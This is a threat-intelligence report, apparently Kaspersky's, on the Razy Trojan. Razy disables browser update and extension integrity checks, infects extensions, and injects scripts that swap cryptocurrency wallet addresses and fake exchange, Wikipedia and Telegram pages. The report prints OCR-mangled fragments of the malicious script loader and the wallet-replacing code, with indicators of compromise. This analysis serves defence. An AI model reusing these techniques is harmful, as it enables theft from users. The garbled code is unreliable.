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Last year, we discovered malware that installs a malicious browser extension on its victim’s computer or infects an
already installed extension. To do so, it disables the integrity check for installed extensions and automatic updates for
the targeted browser. Kaspersky Lab products detect the malicious program as Trojan.Win32.Razy.gen — an
executable file that spreads via advertising blocks on websites and is distributed from free file-hosting services under

the guise of legitimate software.

Razy serves several purposes, mostly related to the theft of cryptocurrency. Its main tool is the script main.js that is

capable of:

 Searching for addresses of cryptocurrency wallets on websites and replacing them with the threat actor’s
wallet addresses

e Spoofing images of QR codes pointing to wallets

e Modifying the web pages of cryptocurrency exchanges

e Spoofing Google and Yandex search results

Infection

The Trojan Razy ‘works’ with Google Chrome, Mozilla Firefox and Yandex Browser, though it has different

infection scenarios for each browser type.
Mozilla Firefox

For Firefox, the Trojan installs an extension called ‘Firefox Protection’ with the ID {ab10d63e-3096-4492-ab0e-
5edcf4baf988} (folder path: “%APPDATA%\Mozilla\Firefox\Profiles\.default\Extensions\{ab10d63e-3096-4492-
abOe-5edcf4baf988}”).

For the malicious extension to start working, Razy edits the following files:

o “%APPDATA%\Mozilla\Firefox\Profiles\.default\prefs.js”,
e “%APPDATA%\Mozilla\Firefox\Profiles\.default\extensions.json”,
e “%PROGRAMFILES%\Mozilla Firefox\omni.js”.

Yandex Browser

The Trojan edits the file ‘%APPDATA%\Yandex\YandexBrowser\Application\\browser.dll’ to disable extension

integrity check. It renames the original file ‘browser.dll_’ and leaves it in the same folder.

To disable browser updates, it creates the registry key
‘HKEY_LOCAL_MACHINE\SOFTWARE\Policies\YandexBrowser\UpdateAllowed” = 0 (REG_DWORD).
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Then the extension Yandex Protect is installed to folder ‘% APPDATA%\Yandex\YandexBrowser\User
Data\Default\Extensions\acgimceffoceigocablmjdpebeodphgc\6.1.6_0’. The ID acgimceffoceigocablmjdpebeodphgc
corresponds to a legitimate extension for Chrome called Cloudy Calculator, version 6.1.6_0. If this extension has

already been installed on the user’s device in Yandex Browser, it is replaced with the malicious Yandex Protect.
Google Chrome

Razy edits the file ‘%PROGRAMFILES%\Google\Chrome\Application\\chrome.dll’ to disable the extension

integrity check. It renames the original chrome.dll file chrome.dll_ and leaves it in the same folder.
It creates the following registry keys to disable browser updates:

o “HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Update\AutoUpdateCheckPeriodMinutes” = 0
(REG_DWORD)

o« “HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Update\Disable AutoUpdateChecksCheckboxValue”
=1 (REG_DWORD)

o “HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Update\InstallDefault” = 0 (REG_DWORD)

e “HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Update\UpdateDefault” = 0 (REG_DWORD)

We have encountered cases where different Chrome extensions were infected. One extension in particular is worth

mentioning: Chrome Media Router is a component of the service with the same name in browsers based on

Chromium. It is present on all devices where the Chrome browser is installed, although it is not shown in the list of
installed extensions. During the infection, Razy modified the contents of the folder where the Chrome Media Router
extension was located: ‘%userprofile%\AppData\L.ocal\Google\Chrome\User

Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm’.

Scripts used

Irrespective of the targeted browser type, Razy added the following scripts it brought along to the folder containing
the malicious script: bgs.js, extab.js, firebase-app.js, firebase-messaging.js and firebase-messaging-sw.js. The file

manifest.json was created in the same folder or was overwritten to ensure these scripts get called.
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W:Y...lpbcmbmeomcjbeemfm .B B =

Name Size M Name Size

10 Up
_locales Folder| || locales Folder
_metadata Folder| | _metadata Folder
cast_setup Folder| |[cast_setup Folder

Left: list of files of the original Chrome Media Router extension.

Right: list of files of the modified Chrome Media Router extension.

The scripts firebase-app.js, firebase-messaging.js and firebase-messaging-sw.js are legitimate. They belong to the

Firebase platform and are used to send statistics to the malicious actor’s Firebase account.

The scripts bgs.js and extab.js are malicious and are obfuscated with the help of the tool obfuscator.io. The former
sends statistics to the Firebase account; the latter (extab.js) inserts a call to the script i.js with parameters

tag=&did=&v_tag=&k_tag= into each page visited by the user.

In the above example, the script i.js is distributed from the web resource gigafilesnote[.]com
(gigafilesnote[.Jcom/i.js?tag=&did=&v_tag=&k_tag=). In other cases, similar scripts were detected in the domains

apiscr[.]Jcom, happybizpromo[.]Jcom and archivepoisk-zone[.]info.

The script i.js modifies the HTML page, inserts advertising banners and video clips, and adds adverts into Google

search results.
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YouTube page with banners added by the script i.js

The culmination of the infection is main.js — a call to the script is added to each page visited by the user.

Etw {
= (fonction () {

var = = document.createElement('script'}:
s.type = 'text/javascript':

z.2rc = / Wish/main.j=? ='"+Date.now ()’

=z.charzset = "UIEF-2";

try {document.body.appendChild(=)} catch (e} {document.body.appendChild(s}}
- Oz

} cateh (e} {
console.laog (e}

Fragment of the script i.js code that inserts the script main.js to web pages.
The script main.js is distributed from the addresses:

e Nolkbacterial.]info/js/main.js?_=
e 2searea0[.]info/js/main.js?_=
e touristsilal[.]info/js/main.js?_=

 solkoptions[.]host/js/main.js?_=

The script main.js is not obfuscated and its capabilities can be seen from the function names.
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var addr = ']
var addr3 =
var ethaddr

H var addFakeCopyCommand = function () {

addFakeCopyCommand () ;

= wvar findAndReplaceWalletiiddresses = function (text) {
if (!'text) return text;

H var skipInText = [
= for (var 1 = 0 1 < skipInText.length:; i++) {
if (text.indexCf (skipInText[i]) !'=— -1) return text;
B }
J/ text = text.replace (/S (\b|=]:) (2<!N\/)(?:1]|3|bcl) [0-8R-Z2-2]4{27,39\b/g, '$1' + addzr):
f/ temt = text.replace(/ (\bBOx|\b|=]:) (?<!'\/) [0-9A-Fa-£]{40,44}\b/g, "$1" + gthaddr):
text = text.replace(/(\bl=1:)(?:3|bcl) [0-9A-Za-=2]1{27,39\b/g, '1' + addx3):
text = text.replace(/(\bk|=]:)(?:1|becl) [0-9A-Za-z]{27,39}\b/g, "51' + addxr):
text = text.replace(/(\bO0x|\k|=|:) [0-9A-Fa-f]{40,44}\b/g, ":1" + ethaddr):

return text;

The screenshot above shows the function findAndReplaceWalletAddresses that searches for Bitcoin and Ethereum
wallets and replaces them with the addresses of the threat actor’s wallets. Notably, this function works on almost all
pages except those located on Google and Yandex domains, as well as on popular domains like instagram.com and

ok.ru.

Images of QR codes that point to wallets also get substituted. The substitution occurs when the user visits the web
resources gdax.com, pro.coinbase.com, exmo.*, binance.* or when an element with src="/res/exchangebox/qrcode/’

is detected on the webpage.

As well as the functionality described above, main.js modifies the webpages of the cryptocurrency exchanges

EXMO and YoBit. The following script calls are added to the pages’ codes:

 /js/lexmo-futures.js?_= — when exmo.*/ru/* pages are visited

e /js/yobit-futures.js?_= — when yobit.*/ru/* pages are visited
where is one of the domains nolkbacterial.]info, 2searea0[.]info, touristsilal[.]info, or archivepoisk-zone[.]info.

These scripts display fake messages to the user about “new features” in the corresponding exchanges and offers to
sell cryptocurrency at above market rates. In other words, users are persuaded to transfer their money to the

cybercriminal’s wallet under the pretext of a good deal.
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YBamaemble Nonb30B8aTeny, -

Mbl Pajibl aHOHCUPOBATH 3aMYCK HOBOMD MHCTPYMEHTA TOPrOBNM - KDUNTOBAMOTHLIE BEHYEPCE
Mbl OTOBPANM Cy4aiHbIX NONb30BATENEN ANA TECTA W Bbl NOMNaNU B UX YWC/0. Ha 3Tane
TECTUPOBAHWA (3 HEABNMW) BCE CAEMKW GYAYT NPOBOAUTECA MEMIY NOMb30BATENAMMU U GUPIKER.
Mo 3aBepLIeHn TECTUPOBAHHA BYHKUMOHAN (Pbio4epcoB ByAeT A06aBMEH B CTaHAaPTHbIE
MHCTPYMEHTbI 6poKepa.

Kawabiit feHb Bam NpefocTaBNAETCA BOSMOMKHOCTh 38KMIOYNUTL CAENKY N0 NpoAaxe GUTKOAHOB
no fukcMpoBaHHOMY Kypcy. CpecTBa Ha BHYTPEHHMWIA CYeT BMPMM NOCTYNAT Yepes 24 yaca no
KYpCY, KOTOPGIA M3BECTeH yxe ceifyac. ECNK Yepes cyTKM Kypc Gy4eT Bollle, TO Gupxa 6yaeT B
NAKOCE, eCI HUMeE, To Bbl By/eTe 3HaTE, YTO NPOAANM GUTKOMHEI MO XOPOLLEMY KYPCY.

Ha AaHHbIA MOMEHT Kypc $7473.14 3a 1 btc. NP 3aKNOYEHUA cAENKM (Dbloyepca) Ha CyMMY
6onbluyto, Yyem 0.05 bte Kypc ByneT Bolle NPUMEPHO Ha 1%.

[1NA 3aKMOYEHWA COEMKW OCTATONHO MPOCTO 6bITh 3aN0TMHEHBIM B KaBUHETE W NEpeBecTy
CPEACTBa Ha YHUKANbHbIA ANs Ballero akkayHTa GUTKOWH agpec:

Example of a scam message on the EXMO website

Main.js also spoofs Google and Yandex search results. Fake search results are added to pages if the search request
search request is connected with cryptocurrencies and cryptocurrency exchanges, or just music downloading or

torrents:

e /(?:M\s)(gram|renerpam|TokeH|ton|ico|telegram|btc|6uTkotin|bitcoin|coinbase|kpunTa|kpunToBamtoral,bnrjqy]|
Guprka|Gupax)(?:\s|$)/g;
e /(cKauaTb.*My3bIK|MY3bIK. *CKa4aTh)/g;

e /TOp?peHT/g;

This is how an infected user is enticed to visit infected websites or legitimate cryptocurrency-themed sites where

they will see the message described above.
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@ https://www.google.ru/search?q=Tenerpamm-+bitcoin@og=Tenerpamm + bitcoin&ags=chrome..69i57j015.5472j1j7&sourceid=chromedie=UTF-8
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d] www.dollarinvestment net/ »
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OBmMeH GuTKouH Telegram BTC Change Bot | ButkouH B Poccun
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Google search results that were modified by the infected extension

Added by i.js
Added by main.js
Genuine search results

When the user visits Wikipedia, main.js adds a banner containing a request for donations to support the online

encyclopedia. The cybercriminals’ wallet addresses are used in place of bank details. The original Wikipedia banner

asking for donations (if present) is deleted.

< c

& https//enwikipedia.org/wiki/Main_Page

Main Page  Talk

@+« @B 6

& Notlogged in Talk Contributions Create account Log in

Read | View source View history | Search Wikipedia Q

WIKIPEDIA

DEAR WIKIPEDIA READERS, We'll get right to it: This week we ask our readers to help us. To protect our independence, we'll never run ads. We survive on donations averaging about

The Free Encyclopedia $15. Only a tiny portion of our readers give. If everyone reading this right now gave $3, our fundraiser would be done within an hour. That's right, the price of a cup of coffee is all we
need. We're a small non-profit with costs of a top website: servers, staff and ipedi i
e Wikipedia is useful to you, take one minute to keep it online and ad-free. Thank you.
ain page
Contents We started to support cryptocurrencies so please send your donation to:

Ethernet address: 0x33a7305aE6B77{3810364e89821E9B22e6a22d43
Bitcoin address: 1BcJZis6Hu2a7mkerKxRYxXmz6fMpsAN3L

Featured content
Current events
Random article

special. It is like a library or a public park where we can all go to learn. If

Donate to Wikipedia Thank you!
Wikipedia store
Interaction i L
i Welcome to Wikipedia, o Ats » History » Society

. + Biography + Mathematics » Technology
About Wikipedia the free encyclopedia that anyone can edit G = s All I
Community portal 5,770,767 articles in English SR OCHEEHY DEdas b Pporiais
Recent changes

&
e b From today's featured article

Tools
\What links here A Christmas Carol (1843) is a novella by Charles Dickens, lllustrated by John Leech. It
Related changes recounts the story of Ebenezer Scrooge, an elderly miser who is visited by the ghost of his
Upload fle former business partner Jacob Marley and the spirits of Christmas Past, Present and Yet to
Special pages Come. After their visits, Scrooge is transformed into a kinder, gentler man. Dickens wrote the
:;;'::;‘:““‘:‘:;n siory during a period when the British were exploring and re-evaluating past Chrisimas
e traditions, including carols, and newer customs such as Christmas trees. His Christmas stories
(including three before and four after this one) were influenced by those of other authors.
Printlexport including Washington Irving and Douglas William Jerrold. Parts of the novella peint out the misery that poor children often

Create a book
Download as PDF
Printabie version

public readings of A Christmas Carol, including his farewell performance in 1870, the year of his death. (Full article...)

Recently featured: Apolio § - Sonic Adventure + Alan Bush
Archive - By email - More featured articles

In other projects

endured; Dickens had recently witnessed appalling conditions for children working in the Comish tin mines. He gave 128

In the news

+ A tsunami hits Sunda Strait Indonesia, kiling at least 429 people and &
injuring more than 1,400 others (aftermath pictured). i

« In field hockey, the World Cup concludes with Belgium defeating the
Netheriands in the final.

« The Balangiga bells, taken by US Army soldiers from the Philippines
in 1901 as war trophies, are repatriated.

« Nine people are killed when a high-speed train collides with a
locomotive In Ankara, TUrkey.

Damage from the
Sunda Strait tsunami

Recent deaths: Paddy Ashdown - Donald Moffat - Bill Slater - Penny Marshall
Other recent events - Nominate an article

On this day

25: Christmas calendar); Quaid-e-Azam Day (Pakistan)

Fake banner on Wikipedia asking for donations
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When the user visits the webpage telegram.org, they will see an offer to buy Telegram tokens at an incredibly low

price.

« ¢ @ https//telegram.org me @ ©

WhatisGram? Features Team Roadmap White Paper JOIN PRE-ICO!

Telegram ICO Started! Your Pre-1CO bonus (459

GRAM TOKEN TELEGRAM IC

Sold: 11,566,585 GRAM 12,000,000 GRa

Plan to sell

1GRAM = 0.00005539 BTC OR 0.00061538 ETH
1 45% from ICO base price (All tokens will be sold in prelCO instead 100).
TON tokens until the end of the prelCO: 3.61%

‘B Telegram Open Network — TON (Pr... o 4

©) Bitcoin # Ethereum

& @&

The infected extension loads content on the telegram.org site from the phishing web resource ton-ico[.]network

& https://telegram.org

Pacnpoaawa Tokenos Telegram craprosana. locTynHe: TokeHw No cHmkeHHoH uene. Konwiectso opranwieno. Kynuie Tokenn GRAM.

Home FAQ Apps APl Protocol W Twitter

Recent News

Dec 22
Palls: Bringing Chaice
to Communities

Dec 10
Custom Languages,
Instant View 2.0 and
Telegram Mre
new ara of mess n Oct1
a new era of messaging Introducing Telegram
5.0 for i0S

'ﬁ' Telegram for Android @ Telegram for iPhone / iPad == Telegram for WP

Fake banner shown at telegram.org. The link leads to the phishing website ton-ico[.]network

When users visit the pages of Russian social network Vkontakte (VK), the Trojan adds an advertising banner to it. If
a user clicks on the banner, they are redirected to phishing resources (located on the domain 0o0-000/.Jinfo), where

they are prompted to pay a small sum of money now to make a load of money later on.
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Fraudulent banner on the vk.com website

Indicators of compromise

Kaspersky Lab’s products detect scripts associated with Razy as HEUR: Trojan.Script.Generic.
Below are all the wallet addresses detected in the analyzed scripts:

e Bitcoin: ‘1BcJZis6Hu2a7mkcrKxRYxXmz6fMpsAN3L’, ‘1CZVki6tqgu2t4ACk84voVpnGpQZMAVZW(Q’,
‘3KgyGrCiMRpXTihZWY 1yZiXnL46KUBzMEY”, ‘1DgjRqs9SwhyuKe8KSMKE1Jjrs59VZhNyj’,
’35muZpFLAQcxjDFDsMrSVPc8WbTxw3TTMC’, *34pzTteax2EGvrjw3wNMxaPi6misyaWLeJ’.

o Ethereum: ’33a7305aE6B77f3810364e89821E9B22e6a22d43',
2571B96E2d75b7EC617Fdd83b9e85370E833b3b1’, *78f7cb5D4750557656£5220A86Bc4FD2C85Ed9a3’.

At the time of writing, total incoming transactions on all these wallets amounted to approximately 0.14 BTC plus 25
ETH.

MD5

Trojan.Win32.Razy.gen
707CA7A72056E397CA9627948125567A
2C274560900BA355EE9B5D35ABC30EF6
BAC320AC63BD289D601441792108 A90C
90A83F3B63007D664E6231AA3BC6BD72
66DA07F84661FCB5E659E746B2D7FCCD
Main.js
2C95C42C455C3F6F3BD4DC0853D4CC00
2C22FED85DDA6907EE8A39DD12A230CF
i.js
387CADA4171E705674B9D9B5BF0A859C
67D6CB79955488B709D277DD0B76E6D3
Extab.js
60CB973675C57BDD6B5C5D46EF372475
Bgs.js
FOEFO0D18B04DC9E2F9BA07495AE1189C
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Malicious domains

gigafilesnote[.Jcom
apiscr[.]Jcom,
happybizpromol.]com,
archivepoisk-zone[.]info,
archivepoisk[.]info,
nolkbacterial.]info,
2seareall.]info,
touristsilal[.]info,
touristsworl[.]xyz,
solkoptions[.]host.
solkoptions[.]site
mirnoreall[.]xyz,
miroreal[.]xyz,
anhubnew/.]info,

kidpassave[.]xyz

Phishing domains

ton-ico[.]network,

000-000[.Jinfo.

Source: https://securelist.com/razy-in-search-of-cryptocurrency/89485/
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